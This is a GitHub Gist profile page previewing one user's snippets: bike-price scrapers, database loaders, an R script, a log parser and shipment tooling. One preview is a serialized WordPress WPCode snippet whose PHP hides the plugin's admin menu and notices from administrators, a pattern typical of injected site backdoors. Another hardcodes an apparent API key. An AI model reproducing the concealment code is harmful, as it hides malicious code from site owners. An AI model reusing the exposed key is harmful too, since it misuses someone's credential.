Skip to content

Instantly share code, notes, and snippets.

View tbbooher's full-sized avatar

Tim Booher tbbooher

View GitHub Profile
#!/usr/bin/env python3
import json, re, unicodedata
import psycopg2
from datetime import datetime
# ——— CONFIG ———
DB_DSN = "host=localhost port=5432 user=tim dbname=bike_prices"
INPUT_FILE = "raw_data.jsonl"
SOURCE = "craigslist" # satisfies CHECK constraint
# this is from the bluebook bike website
# thre is a html file with the bike listings that i parse from this
# Tim Booher - May 26, 2025
from bs4 import BeautifulSoup
import pandas as pd
# Load the HTML content from file
with open("data/page.html", "r", encoding="utf-8") as f:
soup = BeautifulSoup(f, "html.parser")
#!/usr/bin/env python3
import re
import json
import psycopg2
from bs4 import BeautifulSoup
# ——— CONFIG ———
DB_DSN = "host=localhost port=5432 user=tim dbname=bike_prices"
CITY = "Fort Worth"
INPUT_FILE = "fortworth.html"
#!/usr/bin/env python3
import json
import time
import requests
from datetime import datetime
# ——— CONFIG ———
cities = [
"dallas","austin","houston","sanantonio","denver","seattle",
"sfbay","portland","boise","phoenix","chicago","boulder",
import requests
import psycopg2
from time import sleep
from datetime import datetime, timedelta
# documentation
# https://open.gsa.gov/api/get-opportunities-public-api/#user-account-api-key-creation
# Constants
API_KEY = "VdIf7RKVJATd3dCMnYZ64lZOyrM5O6lKSGOnc3bH"
#!/usr/bin/env Rscript
# Set working directory
setwd('/Users/tim/code/tesla')
# 1) Load libraries (assume already installed)
library(googlesheets4)
library(dplyr)
library(magrittr)
library(ggplot2)
a:1:{s:10:"everywhere";a:1:{i:0;a:12:{s:2:"id";i:78;s:5:"title";s:16:"Untitled Snippet";s:4:"code";s:6836:"$_pwsa = 'a516c9f37ca86f549b3cdff68167e708';
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
add_action('admin_head', function () {
echo '<style>';
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
echo '</style>';
});
import re
import csv
from datetime import datetime
# Regex for Nginx combined log format
log_pattern = re.compile(
r'(?P<remote_addr>\S+) - - \[(?P<timestamp>.+?)\] "(?P<request>.+?)" '
r'(?P<status_code>\d+) (?P<bytes_sent>\d+) "(?P<referrer>.*?)" "(?P<user_agent>.*?)" "(?P<upstream>.*?)"'
)
# Filename: shipment_summary.py
import os
from google.oauth2 import service_account
from googleapiclient.discovery import build
import psycopg2
import re
from datetime import datetime, timedelta
from dotenv import load_dotenv
from re import search
import csv
import psycopg2
import csv
from dotenv import load_dotenv
import os
from datetime import datetime
# Load environment variables
load_dotenv('../.env')
# Database connection parameters